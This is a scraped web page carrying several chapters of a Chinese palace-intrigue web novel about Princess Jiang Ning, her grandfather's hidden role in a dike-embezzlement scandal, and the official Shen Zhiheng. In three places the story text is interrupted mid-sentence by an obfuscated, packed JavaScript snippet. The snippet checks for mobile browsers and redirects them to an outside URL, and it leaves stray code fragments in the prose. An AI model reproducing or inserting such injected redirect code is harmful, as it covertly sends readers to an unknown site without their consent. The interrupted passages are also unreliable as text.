年关将近，长街喧嚣。叫卖声、讨价还价声不绝于耳，百姓忙着采买年货，为这冰天雪地添了几分鲜活的暖意。 姜宁掀帘望了眼熙攘的街景，对车前道：“苏七，明日我们叫上惜桃和苏九，也出来逛逛吧。” “是，殿……”苏七话音未落，猛地勒紧缰绳！“吁——！” 车身骤停。 姜宁尚未发问，车外已传来清朗男声，穿透风雪： “微臣沈之衡，求见殿下！” 姜宁慵懒的声音自帘后传出：“沈大人说改日登门拜访，可没说今日便拦本宫的马车。” 沈之衡上前两步，逼近车辕，冷冷说道：“请殿下，归还微臣之物。” 车帘掀起，姜宁端坐其中，神色淡然：“本宫与大人两个时辰前确有交谈，却不记得拿过大人何物。” 沈之衡的声音压得极低，却字字清晰：“两日前，京城南郊。殿下，可想起了？” 终于亮牌了？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138555|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜宁轻笑一声，扶住苏七的手下了马车，站定在沈之衡面前。 风雪卷起她斗篷的毛边，她抬眸，眼神像审视落入陷阱的猎物：“细看之下，沈大人与本宫那跑丢的‘男宠’确实有几分相像。这救命之恩，沈大人不报也罢，怎的还污蔑本宫清白？怎么，沈大人要不要在写个奏疏，再弹劾本宫一次？” 姜宁的言语中，皆是戏谑和玩弄。 “殿下，”沈之衡的声音带着压抑的怒火和一丝不易察觉的疲惫，“此物于臣，重于性命。恳请殿下，勿再戏弄微臣。”他深深一躬，几乎弯折了脊背。 方才停息了片刻的风雪，又纷纷扬扬飘零起来。 “沈之衡，”姜宁声线陡沉，一字一顿，“本宫说了，没有！” 或许是姜宁最后一句的声调重了些，很快引来街上的百姓围观，渐渐聚拢。 苏七一步上前，将姜宁护在身后，手已按上腰间佩剑。 剑拔弩张之际，一声“漪漪”的呼唤穿透风雪。 苏长英策马而来，翻身落地。他对沈之衡略一抱拳：“沈大人。” 随即转向姜宁，温言道：“祖母在府中盼了许久了，怎在此耽搁？” 姜宁瞥了眼僵立的沈之衡：“无事了。长英哥哥，我们走吧。” 苏长英护着她登上马车，这才回身对沈之衡道：“沈大人见谅，祖母心切，我与公主先行一步。” 沈之衡沉默着，只躬身揖礼。 马车辘辘远去，人群散去。风雪中，唯余沈之衡孤身而立。他身形猛地一晃，眩晕袭来，几乎站立不稳。 恰在此时，一只手臂稳稳扶住了他。同时，一柄油纸伞及时撑开，遮住漫天风雪。 沈之衡侧头，看清来人，唇边泛起苦涩：“良安，六年心血，难道终成泡影么？” 名为良安的男子面容平静，声音沉稳：“怀野，宦海沉浮六载，你当知朝局如古树盘根。此事，急不得。” “我身中此毒，一日复一日。”沈之衡眼底掠过一丝灰暗，“若等不到那一日，还需你……” 良安用力握住他冰冷的手掌，截断他的话：“莫要多想。我必助你。” 回苏府的路上，哒哒的马蹄声与漫天风雪搅动在一起。 苏长英骑马在前引路，方才的温润笑意已褪尽，眉宇间凝着冷肃。在外人面前，他一向是不苟言笑的。 苏七驾着马车，隔着帘子压低嗓音问道：“殿下，南郊那夜，何不直接了结沈之衡？也免今日麻烦。” 为何不杀？姜宁微微一怔。雪地里拾起那人时，这念头竟从未掠过心头。她当时唯一想的是，将那人带离风雪。 她掀开车帘，伸出手。一片晶莹的雪花落入掌心，旋即化作一点冰凉的水渍。 “或许……”她望着那点水痕，声音轻得像叹息，“是他的理想，救了他一命吧。大凌的朝堂，总还需几个这样的脊梁。” 随着指尖凉意蔓延，她缓缓阖眼。风雪呼啸声中，她回忆起沈之衡那道名扬天下的策论—— 五方之民，各安其庐；九谷之实，咸充其廪。使黎庶无野宿之戚，苍生绝枵腹之叹。 5. 第五章 苏府惊雷（一） 马车抵达苏府时，天色暗淡，府门前灯火通明，乌泱泱候着一群人。见车驾停稳，众人齐声行礼：“参见公主殿下！” 姜宁掀帘，目光瞬间锁定人群中央那翘首以盼的身影——外祖母裴润君。她眼眶一热，未等马车停稳便跳下车，三步并作两步扑入老人怀中：“外祖母，漪漪好想您！” 裴润君紧紧搂住她，喜泪纵横，枯瘦的手不停地拍抚着她的背：“回来就好，回来就好。我的漪漪，长安十二年，苦了你了。” “不苦，一点儿也不苦。”姜宁用力摇头，抬手用丝帕轻柔地拭去老人脸上的泪痕。 “好，好，外头冷，快进屋，进屋暖和暖和！”裴润君拉着姜宁的手，不停催促着往府内走。 暖阁内，珍馐满案，炭盆烧得正旺。 苏崇已换下朝服，身着日常的深色棉袍，少了朝堂上的威严，多了几分暮年祖父的慈和。他对着侍立一旁的苏长英说道：“长英，去把那株玉兰树下埋的老酒取出来，温上。” “是，祖父。”苏长英应声而去。 苏崇看着屋内的一群人，又吩咐道：“今日是家宴，你们都退下吧。”” “是，苏阁老。”屋内原本伺候的下人，也一同离去。 裴润君引姜宁在苏崇身侧落座，絮絮叨叨地指点着满桌菜肴：“漪漪快瞧，这是你小时最爱的松鼠鳜鱼，这是你舅舅在浙江军营里还老念叨的梅菜扣肉……”说着，便将一块油亮的肉块夹入姜宁碗中，“快尝尝，外祖母盯着厨房做的。” “谢外祖母！”姜宁笑得眉眼弯弯，捧起碗便吃得香甜。 苏崇默不作声，亲手盛了一碗温热的参茸鸡汤，轻轻放到姜宁面前。 “谢外祖父！”姜宁抬眼，眸中暖意融融。 看着她大快朵颐的模样，苏崇眼中掠过一丝复杂，低声叹道：“殿下可怨外祖父，当年让你去长安？” 裴润君嗔怪地推了苏崇一把：“今日团聚，说这些做什么！” 姜宁放下碗筷，正色道：“外祖父何出此言？漪漪从未有怨。长安清静自在。况且，师父待我极好。” “嗯……”苏崇捋着银白的胡须，目光悠远，“顾方那孩子，当年听闻你离京，便关了京城的百草堂，随你去了长安。谁知后来又在长安开了那凤明堂，如今分号都开到京城了。” 他声音渐低，带着一丝难以言喻的涩然，“你母亲走后，他辞官行医，再不肯见我。只怕是，还在怨我。” 姜宁凝视着老人沟壑纵横的脸，轻声问道：“外祖父，您后悔过吗？” 苏崇怔了怔，旋即苦笑：“无论如何，那都是你母亲的决定。当年七子夺嫡何等凶险，她还是执意嫁了。可皇家……终究是皇家啊。”话语里满是苍凉与无奈。 “好了好了，陈年旧事，莫要再提。”裴润君连忙岔开话头。 姜宁顺从地点点头，扒了几口饭，忽又想起什么，抬头问道：“对了，裴落姐姐呢？怎不见她？” 二十二年前，西北一战，镇北侯裴家只剩下当时被托付给苏家照顾的裴落。于是这些年，裴落也一直养在苏府，与姜宁自幼交好。 话音一落，席间空气骤然凝滞。 苏崇与裴润君对视一眼，皆是欲言又止，神色复杂。 恰在此时，苏长英端着温好的酒壶立在门边，玄色衣袍衬得他面容愈发冷峻。他声音低沉沙哑，打破了沉默：“事到如今，何必再瞒漪漪？” 苏崇深吸一口寒气，仿佛下定了决心：“也罢。” 一旁的裴润君已忍不住侧过身，用锦帕掩面拭泪。 “裴落……”苏崇的声音沉重如铁，“她如今，是你父皇的嫔妃。” 姜宁握着筷子的手猛地一僵。 “今年四月宫宴，”苏崇艰难地继续说道，“圣上多饮了几杯，先行离席。宴席将散时，裴落突感不适，引路的宫人不知何故，竟将她引到了庆元殿。后来……” 字字句句，宛如刀割。姜宁脑中“嗡”的一声，后面的话再也听不清了。 一股刺骨的寒意从脚底窜起，瞬间席卷全身，胃里翻江倒海！她死死咬住下唇，指尖深深掐进掌心，才强压下那股灭顶的恶心与眩晕。 父皇怎能…… 裴落姐姐那夜，又该是何等绝望？！ “那宫人，受谁指使？”姜宁声音颤抖，一言一语，几乎是从齿缝里挤出。 苏崇闭了闭眼：“事发之后，那宫人，便悬梁自尽了。只留下一封认罪书，将幕后之人，撇得干干净净。” “裴落，我那苦命的孩子啊。”裴润君再也忍不住，呜咽出声。 苏长英默然回到席间，一言不发，只将杯中酒液一杯接一杯地倒入口中，喉结滚动，像要将所有情绪都烧灼殆尽。 姜宁浑身力气仿佛被抽干。十二年前离京那日，风雪漫天，苏长英与裴落十指相扣，在城门为她送行。她犹记得那时自己笑言：“待我再回京城，定要讨你们一杯喜酒喝！” 电光石火间，一切线索骤然串联。 镇北侯遗孤裴落，在西北军中是如同图腾般的存在。长英哥哥若娶了裴落姐姐，便是苏家掌控东南军权后，又握住了西北军心。 这桩婚事，汪家岂能坐视？ 让裴落成为帝妃……此局一成，苏裴联姻，便再无可能。 “是汪家？”姜宁齿间迸出冰冷的三个字。 苏崇眼中忽地一闪，旋即化为深沉的疲惫：“没有证据。” 短短四字，道尽朝堂倾轧的无奈与残酷。纵有证据，又能如何？当年帝王有意扶持汪家，到了如今，汪家的根基已经深厚。 姜宁缓缓吐出一口浊气，强自平复心绪：“我归京那日，在父皇的寿宴上未见到裴落姐姐。是她不想见我么？” 苏崇摇头：“那夜之后，裴落被诊出有孕。圣上或许是担心十四年前旧事重演，封她为淑妃后，以‘为国祈福’之名，秘密送往庆阳行宫安胎。此事知之者甚少，汪家亦未察觉。” 孕脉？十四年前旧事重演？ 姜宁如遭雷击。 父皇担心十四年前的事重蹈覆辙？所以，他其实一直都知道姜宸夭折的真相？可他为了所谓的“制衡之术”，竟纵容汪家至今？！ 而裴落姐姐腹中之子，若是皇子，便是苏家重入储君棋局的关键一子。纵是今后姜齐登基，此子亦是父皇对汪家的掣肘？ 前朝后宫，环环相扣，皆为棋局。被卷入棋局之人，何其无辜。 姜宁眼前光影晃动，一切仿佛都蒙上了一层晦暗的薄雾。 她沉默良久，声音带着一丝不易察觉的嘶哑：“是皇子吗？” “尚未临盆，但太医断言……是。” 姜宁的指尖微微动了动，又问道：“所以，苏家是要争储吗？” 为了裴落，为了那个未出世的孩子，也为了苏家不再受制于人？ 苏崇没有回避，只沉声道：“是。” 苏长英握着酒杯的手，指节捏得发白。裴润君的叹息更重。 “那……”姜宁霍然起了身，眼中是决绝与狠厉：“就让父皇的制衡之术，到此为止吧。” 屋内的炭火烧得正旺，不时爆出“噼啪”轻响，跃动的火苗映照着众人凝重的脸庞。 姜宁又缓缓行至窗前，推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138556|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开窗，望着漫天风雪。 良久，她的声音低沉而清晰，接着说道：“漪漪尚有一事，欲请教外祖父与长英哥哥。” “漪漪但讲无妨。”苏崇的声音沉稳依旧，却隐隐透出一丝不易察觉的紧绷。 姜宁缓缓侧身，目光冰冷：“长江决堤之祸，苏家可曾牵涉其中？” 沉默在暖阁中蔓延，只余炭火燃烧的微响。 半晌，苏崇重重一叹，仿佛卸下千斤重负：“若你所指，是六年前堤坝兴建之事，那……确有干系。” 姜宁的指尖悄然收紧，嗓音沉了下去：“苏家，拿了多少？” 那“贪墨”二字，如鲠在喉，她终究未能出口。 苏崇并无半分迟疑，回道：“白银二十万两。” 姜宁倏然回眸，直视苏崇眼底：“外祖父，”她的声音带着一丝不易察觉的颤抖，“事已至此，还请您，据实以告。” “殿下此言何意？”苏崇的语气骤然凌厉，阁老的威仪瞬间弥散开来。 苏长英脑中忽地闪过姜宁与沈之衡当街交谈的一幕，脱口问道：“漪漪，可是那沈之衡对你说了什么？” 一旁的裴润君看着这陡然紧张的气氛，面上亦是惊疑不定。 姜宁不再多言，对着门外清声道：“苏七，呈进来吧。” 门应声而开，苏七躬身入内，从怀中取出一方被油布仔细包裹的物件，恭敬递向姜宁。 姜宁未接，只淡淡道：“呈给阁老过目吧。” 苏崇狐疑地接过，展开包裹——陈情书、密信、账册……一行行墨迹刺入眼帘。他面色骤然褪尽血色，指尖微颤地将东西递给苏长英，目光转向姜宁：“此物，殿下从何得来？” “我入京那日，在南郊，恰逢晕厥在雪地的沈之衡。此物便是在他身上寻获。”姜宁语声平静，却字字如冰珠坠地。 苏长英飞快扫过陈情书，又核验账册，眉头深锁，已明了大半：“今日沈之衡当街拦车，便是为了追索此物？” “是。”姜宁颔首，“我见此物牵涉苏家，更干系朝堂重臣，事关重大，故未归还，原想先与外祖父商议定夺。” 她话音陡转，积蓄的失望与怒意终于迸发，“外祖父方才告知漪漪，苏家只取了二十万两。可这账册白纸黑字，明明白白写着有四十万两白银，入了苏家账目！” 最后几字，姜宁几乎是咬着牙吐出。 她怨的，岂止是欺瞒？更是记忆中那位清风朗月、为民请命的外祖父形象的崩塌。 裴润君急忙温言劝解：“漪漪，此事内情我略知一二，确为二十万两。你外祖父，并未骗你。” 苏长英已合上账册，将证物重重叠好交还苏七，眼中怒火翻涌，齿缝间挤出恨声：“是苏成那蠹虫。他竟敢假借祖父之名，上下其手，私吞了另外二十万两！” “苏成？”姜宁蹙眉。 “是苏家旁支子弟，原在工部当值。”苏崇阖上双眼，疲惫与痛悔爬上眉梢，“这六年来，我未尝有一日安枕。前些日湖北赈灾，圣上遣长英暗中率锦衣卫追责。刘知府狱中自尽，一纸认罪书独揽堤坝贪墨之责。我原以为此事已了。可……雪泥鸿爪，终究不可抹去。” 苏长英道：“那沈之衡，我原以为他只掌管赈灾事宜，未将此人放在心上。未料，他竟敢私下追查此事。” 苏崇喉头哽咽，一字一句，重若千钧，“为官四十载，此事，是我做错了。” 苏长英扶住祖父微颤的手臂，沉声宽慰：“祖父，当年浙江危局，苏家亦是情非得已。” 听罢，姜宁心头疑云却更浓：“所以，六年前，究竟发生了什么？” 6. 第六章 苏府惊雷（二） 暖阁中只余炭火偶尔爆出的轻微“噼啪”声。 苏崇的声音格外低沉缓慢：“长江两岸，年年雨季都遭洪涝之苦。六年前，国库尚足，朝廷拨下二百万两白银，着户部、工部会同湖北知府，共同督建沿岸堤坝。” 他话音一顿，眉头紧锁，仿佛被什么沉重的东西压住了，“可就在这当口，浙江倭寇犯境，西北战事又起。不到两月，前线军需告急……圣上权衡再三，下令放弃浙江抗倭，全力保障西北边陲。” 苏崇端起手边微凉的茶水，却没有喝下，只是攥紧了杯沿：“可浙江那边，已经是背水一战，就差最后一搏。苏家，无论如何也不能坐视不管。”他深吸一口气，终于道出关键，“彼时，苏成负责工部经办的明月坝修建，款项总计六十万两白银。我便动了心思。” 那沉重的负罪感似乎让室内空气都凝滞了几分：“通过虚报，挪出二十万两，辗转交予浙江商贾林家，再由他们以‘捐输’的名义，送去支撑浙江战场。其实此事并非天衣无缝，湖北知府刘毅当时已有所察觉，但碍于苏家之势，终究未能上达天听。” 他重重一叹，“未曾想，这苏成，竟胆大包天，趁此机会自己也吞了二十万两。” “六十万的堤坝，最后只剩二十万？明月坝……如何能不垮？”姜宁眼底映着跳动的炭火，似在映照云阳城下冰冷的滔天洪水。 苏崇猛地灌下一杯酒，辛辣入喉，闭了闭眼：“老夫，对不住云阳百姓。” “祖父。”苏长英低唤一声，手掌稳稳落在苏崇微颤的肩上，传递着无声的支撑。 苏崇摆摆手，示意无碍。 一片沉默笼罩下来，只有炭火在呼吸。 姜宁的目光扫过三人，冷静道：“苏成此步棋，算定自己是个弃子。然而，若将这些东西交还给沈之衡，让他大白于天下，外祖父必然难以独善其身。苏成敢如此猖狂，只怕也是算准了这点。” “此事需得万分谨慎。”苏长英颔首赞同，指尖轻点桌面，“名册所涉官员，也当逐一详查。”说着，他眼中闪过一丝锐利的光芒，“汪家竟不在其列？以我对汪家行事手段的了解，当年兴建堤坝，获利甚多，不可能没有他们的影子。” “长英所言甚是。”苏崇疲惫地点点头。 姜宁话锋一转，回到当下最紧迫的问题：“沈之衡此人，外祖父如何看？眼下除苏家外，他是唯一知情者。纵使他此时按兵不动，终究是个变数。” 苏崇沉吟片刻，眼中带着一丝忌惮：“他此次回京，原本要擢升户部尚书之位，可他偏偏自请调任都察院。如今想来，只怕他意在借此彻查旧案。但圣上对他器重有加，这些年他在寒门清流之中声威日盛，门生故吏盘根错节。”他缓缓摇头，声音凝重，“百足之虫，死而不僵。此人，苏家动不得。强行动他，只会惹火烧身。” 苏长英带着复杂难言的情绪，接着说道：“我曾与他短暂共事，此人算得上大凌朝堂上少有的纯粹耿介之臣。若为敌，必是后患无穷、极其难缠；若能与之结盟，则对苏家大有裨益。”其中那份惋惜之意清晰可辨。 “谈何容易。”苏崇并不乐观，“汪家这些年，明里暗里没少下功夫想拉拢他。可他次次都掷地有声：不参与任何党争。” “哦？”姜宁挑眉，眼中带着探究，“那去年他领头弹劾我‘奢靡建府’，竟不是汪家授意么？” “那最初弹劾的折子，应是他沈之衡一人的主意。不过后来群臣跟随、汹汹议论，汪家定是乐于见到，暗中推波助澜了一把。” 提及此事，苏崇眼中反倒掠过一丝释然的笑意，“说起这个，去年你忽地奏请建府，事先不与我们商议，不止汪家，连我这外祖父也是一头雾水，摸不清你的盘算。” 姜宁唇角弯起一个极淡的弧度：“我随师父于昆仑采药时，无意间发现了一处银砂矿脉。想着借个‘建府’的名头，向父皇讨些银两。师父授意要一百万，我便照章写了。” 她语气平静地揭开了这步棋：“父皇若准了，我便借此银两在长安暗中扶植商贾，逐步掌控西北的经济脉络；父皇若不准，那今年我便奏请回京。父皇心中有歉疚，十有八九会恩准。届时我再将矿图献上作为贺寿之礼，顺理成章。” 她眼中闪过一抹微不可察的锋芒，“只是未想到，劝阻父皇的，是沈之衡那一道弹劾的奏疏。不过眼下，也算是顺利留在京城了。” “嗯。”苏崇捋着花白的胡须，露出几分复杂又略带欣慰的神色，“你跟在顾方身边久了，他那副揣度人心、借势而为的本事，倒是真被你学去了不少精髓。” 姜宁眸光似乎望向窗外未歇的风雪，声音也带上一分疏淡的悠远，“这世道，人人奔忙不过名利二字。可那滔天权势的根基，又何尝不是一层层的人心？” “好了好了，”裴润君适时插话，打破了这一瞬的沉郁，眉眼间俱是温和的笑意，“你们祖孙聊了这么些正经事，饭菜早就不冒热气了。我去唤人热一热。今日是家宴，旁的事，且放一放。” 她起身，目光落向一旁侍立的苏七，温言道：“苏七，去叫人过来吧。” “是。”苏七利落抱拳领命。 酒足饭饱后，夜色已深，风雪也小了许多。 裴润君柔声劝姜宁留宿苏府，姜宁却执意摇头。父皇钦点的二十羽林卫，怕是已在公主府外候着了。 一番温情劝说无果，裴润君只得轻叹一声，与苏崇、苏长英一同将姜宁送至苏府门外。 临上马车前，姜宁目光落在苏崇身上，声音压得极低，确保只他一人听清：“外祖父切记，昆仑银矿主事之权，苏家不必强求，只作姿态。务必让父皇将此权柄，交到汪家手中。” 苏崇郑重颔首，眼神沉稳：“漪漪的谋划，外祖父心中明了。” 姜宁手扶车辕，正要登车，身形忽然顿住，侧首望向一直沉默在旁的苏长英：“过几日，我会向父皇请旨，去探望裴落姐姐。长英哥哥，可有话要带？” 苏长英喉结滚动一下，唇微动，似有千言万语涌至舌尖。但最终，他只是紧紧握了下指节，将那未尽之言无声吞咽回去，缓缓摇头，声音低沉而克制：“不必了。何必再提我，徒惹她伤怀。” 姜宁眼帘微垂，轻轻应了声：“好。”不再多言，挥手作别，径自弯腰进了马车。 车轮碾过积雪湿滑的路面，摇摇晃晃，加上酒意渐渐上头，姜宁在颠簸中很快便沉沉睡去。 不知过了多久，苏七压低的呼唤在耳边响起：“殿下，到了。” 姜宁缓缓睁眼，只觉头脑微沉，下意识抬手按了按额角。稍定了定神，她才掀开车帘。 公主府门前灯火通明，只见两拨人马赫然静立。服色鲜明，一队是羽林卫的金甲，另一队，则身着玄色的官服，似是大理寺所属。 她的贴身侍女惜桃、护卫苏九和红叶正紧守着府门，身姿戒备，显然在阻止旁人擅闯。 看清了形势，姜宁眼底尚存的一丝迷蒙顷刻散去，换上惯常那副慵懒又带着几分戏谑的神情，扬声笑道：“本宫不过离府半日，公主府门前倒比上元灯节还热闹。来的都是哪路神仙呀？” 说话间，她已稳稳踏下马车。 门前众人齐齐躬身：“参见公主殿下！” 羽林卫中，一名身材挺拔、面容英挺的男子上前一步，抱拳朗声道：“卑职羽林卫副尉陈泽，奉圣命率二十羽林卫前来护卫殿下！听凭殿下差遣！” 姜宁目光从他身上掠过，微微颔首：“嗯，父皇先前是提过。”随即，她视线转向那身着玄色官服的清俊男子：“那这位大人是……？” 那官员忙躬身，恭敬回道：“回殿下，微臣大理寺少卿向恒声。深夜叨扰殿下凤驾，还请殿下恕罪。” “哦？”姜宁眉梢轻挑，并未停留，径直走到惜桃等人身边，转身面向向恒声，嘴角含着浅淡的笑，语气却带上几分不容置疑的冷意：“那敢问向少卿，带人围堵我公主府， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138557|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所为何事？” 向恒声保持着躬身的姿态，谨慎回道：“今夜京中不幸，有大臣遇刺，丢失了重要物件。大理寺奉上谕，于城内各处缉拿贼寇，搜寻失物。恐有恶徒隐匿，特来查探殿下府邸安危。” 大臣遇刺？姜宁心中冷笑一声，瞬间了然。所谓大臣，十之八九便是沈之衡。至于搜寻贼人？不过是趁着她离府，借机探她公主府的底，想找那件“重要物件”罢了。 她面上笑容不减反深：“那向少卿的意思，是在怀疑本宫窝藏贼人，私匿贼赃了？” “臣万万不敢！”向恒声急忙否认，声音更低了几分，“只是职责所在，忧心殿下安危。” “好一个职责所在。”姜宁笑着，主动侧身，做了个“请”的手势，“既然如此，向少卿请吧。本宫并非不讲理之人。搜便是了。” 向恒声闻言，非但没有上前，反而后退了半步，躬身更深：“殿下既已平安归府，护卫周全，想必也无恙。是臣多虑了。臣这便告退，不扰殿下安寝。” “向少卿请便。”姜宁的声音已透出冰凉的疏离。 待向恒声带着大理寺一行人匆匆离去，姜宁的目光才落在陈泽身上：“方才，是你们拦住了他？” 她自然清楚，单靠惜桃、苏九和红叶，根本拦不住大理寺。这底气，只可能来自同样代表皇权的羽林卫。 陈泽并未回避，坦然应道：“是。” “做得不错。”姜宁赞许道，“夜色已深，留下两队人轮值守夜。其余弟兄今日辛苦，可各自回去歇息。” 她目光扫过一众肃立的羽林卫，唇角勾起一抹笑意，又朗声道：“大家既到这里，今后就是我公主府的人了。明日，都来领赏。” 二十羽林卫齐声谢恩，声震夜幕：“谢殿下赏！” 姜宁摆摆手，转身步入门内。惜桃等人与苏七紧随其后。 厅内温暖的气息包裹上来，姜宁解开厚重的大氅递给惜桃。红叶立刻奉上一碗温热的醒酒汤。 姜宁接过碗，视线却看向苏七和苏九，吩咐道：“苏七，苏九，你们两个去书房看看，可有什么不该动的地方被动过？” “是！”两人领命，迅速转身而去。 惜桃见状，若有所思地抿了抿唇，低声道：“殿下怀疑公主府已经被……？” 姜宁微微点头，眼底一片了然。 不多时，苏七和苏九便返回厅中。苏七沉声禀报：“回殿下，书房确有人翻动过的痕迹。” 姜宁呷了一口醒酒汤，唇角浮起一丝玩味的弧度：“调虎离山？看来沈之衡也是个聪明的。” 只可惜……那东西始终随身在苏七身上，沈之衡的人就算翻遍了公主府，也注定是徒劳。 她刚觉得此事暂了，却见苏九欲言又止，面上带着难色。 “怎么了？”姜宁放下碗，漫不经心地问。 苏九硬着头皮，小声道：“殿下书房里，应是丢了一件东西。” “嗯？什么东西？”姜宁随手拿起汤碗，打算再喝一口。 “墙上……挂着的画没了。” “噗——” 姜宁刚入口的醒酒汤，毫无预兆地喷了出来。她猛地攥紧了拳头，脸上一阵抽痛，几乎是呻吟般哀嚎出声：“那可是《千里江山图》！赵孟恺的绝笔！” 这还不算完。 苏七像是被提醒，皱着眉又补充道：“案头那本您常用的医书，好像也不见了。” 姜宁只觉得眼前一黑，心口瞬间凉透：“……什么医书？” “就是殿下您时常翻看的那本，封皮都旧了的那本。” 姜宁瞬间僵住，只觉得那碗醒酒汤化作冰水兜头浇下。一股难以言喻的绝望和暴怒席卷了她。这一刻，她简直想把沈之衡撕成碎片，恨不得时光倒流，在那南郊的雪地里就直接把那个瘟神了结了！ 她咬着牙，每个字都像是从齿缝里挤出来的冷气：“那可是《百草经》，孤本！！！” 7. 第七章 密潜沈府 次日，姜宁醒来时，窗外日光已盛，鸟雀的喧鸣透过窗纸不绝于耳。她感到头脑昏沉，抬手揉了揉额角，这才缓缓起身。 恰在此时，惜桃端着一盆热水推门而入，见姜宁已醒，眉眼弯弯地笑道：“殿下醒了？我正想来唤您呢。” 清冽的梅香随着惜桃的动作弥散开来。姜宁一边梳洗，一边不经意问道：“身上好香，方才去做什么了？” 惜桃腼腆一笑，手上动作未停：“去厨房帮红叶姐姐的忙了。她在熬梅花粥呢。” “哦？”姜宁唇角微扬，“看来今日有口福了。”顿了顿，又问：“苏七和苏九呢？” 惜桃正专注地为她束发，闻言脱口道：“在梅园打架呢。” “打架？”姜宁眉头倏地一拧。 惜桃手上动作一顿，连忙改口：“额……切磋！是切磋！正切磋武艺呢。” 姜宁指尖轻轻弹了下惜桃的额角，嗔道：“一惊一乍。说话要仔细些。” 梳洗完毕，姜宁步出寝殿，往书房去。途经梅园时，果然见苏七和苏九的身影翻飞，“打”得正酣，显然未留意她的到来。 几把扫帚东倒西歪横在地上，散落的梅花混着积雪，被搅得一片狼藉。 姜宁驻足片刻，瞧清状况，不禁扶额轻叹，转头对惜桃吩咐道：“你与红叶得空，去寻几个身家清白的侍从来吧，府中各处也好有人打理。” 惜桃心领神会地应下：“是，殿下。” 到了书房，迎面墙上那方空荡荡的留白瞬间刺入眼帘，原本悬着《千里江山图》的位置，如今只剩寂寥。姜宁心口一阵绞痛，默然走到书案前坐下。 她下意识习惯性地伸手想取常翻的医书，手边却同样空空如也。 积压的怒气涌上心头，令她指尖微微发颤。 “好个沈之衡。”她低语，旋即铺纸研墨，笔走龙蛇，一封措辞激烈的请柬须臾写成。 她将墨迹未干的信笺递给侍立在旁的惜桃：“让苏九即刻送去沈之衡的住处！” 惜桃一愣，双手接过，应道：“是，殿下，我这就去。” 话音未落，惜桃刚转身要走，姜宁忽又急唤道：“且慢！” 姜宁起身拿回那信，目光沉沉地盯着纸上锋芒毕露的字句，终究是重重一叹，手腕一扬，径直将其投入书案旁燃着的炭盆。任由纸张化为飞灰。 “罢了。急不得，须得沉住气。”她闭了闭眼，强迫自己冷静下来。 定了定神，昨夜另一件事浮上心头。“羽林卫……”她顿住，改口道，“应该是府里护卫了。赏赐可分发下去了？” “已经分发，按您的吩咐，每人十两白银。”惜桃应声道。 “嗯。”姜宁颔首。 正说着，红叶的声音从门外传来：“殿下，用午膳了。” 红叶入了公主府后，一日三餐皆不重样，精致可口，深得姜宁心意。 姜宁坐在食案前，端起那碗温热清甜的梅花粥轻啜一口，随后看向红叶缓缓问道：“对了，红叶，你与师父是如何结缘的？” 红叶手中动作微滞，眼底掠过一丝遥远的落寞，声音轻缓：“约莫十六年前，家乡遭了饥荒，阿爹把我送去邻村一户人家做童养媳。我不愿，逃了出来。那时顾先生正好返京述职，在官驿歇脚。我一时饿极了，便偷了他一个包子。” 她顿了顿，语气里带着回忆的涩然，“先生见我可怜，没有追究，反倒带我上了京城。后来将我托付给天香楼，找了份活计让我安身。” 姜宁听着，心中恻然，放下碗，温声道：“那后来呢？” “后来，顾先生辞官行医，开了百草堂，我便帮着先生打理医馆。再后来……”她抬眼，看着姜宁，“先生随殿下去往长安，我留在京中。前些日子，先生来信，问我可愿来侍奉殿下左右。” “原来如此。”姜宁轻轻颔首，看着红叶眼中的复杂情绪，郑色道：“红叶，往事随风。只要你愿意，今后，公主府便是你的家。” 惜桃亦欢喜道：“是呀是呀，红叶姐姐。” 红叶缓缓抬起头，眼中瞬间泛起水光，喉头微动：“谢公主！” 姜宁又低头喝了几口粥，暖意入腹，纷乱的心绪稍平。她目光转向侍立一旁的苏七苏九，神色恢复了一贯的从容：“苏七，苏九，有桩事需你二人去办。” 苏九闻言胸膛一挺，抢先应道：“殿下只管吩咐，一定给殿下办得妥妥贴贴！” 姜宁眸光微闪，语气平平，却字字清晰地道：“替我去趟沈之衡的住处，把《千里江山图》，还有那部《百草经》，请回来。” “是！”苏九应得响亮干脆，声音刚落才咂摸过味来，眼睛骤然瞪大，“啊？是偷吗？” 一旁的苏七面上波澜不惊，只沉稳道：“应不是什么难事。” 午后，阴霾的天色透出几缕微光。 姜宁依例入宫请安，车轿行过宫道，她端坐其中，却心若擂鼓。 至庆元殿外，浓重的药气伴着断续的咳嗽，萦绕在廊下。 姜宁步履沉沉，在殿门前立了许久，指尖冰凉，心乱如麻。她仍是不知，该以何种面目面对父皇。 侍立在侧的李鸿顺觉察了姜宁的异样，低声提醒：“殿下，时辰不早，该进去了。” 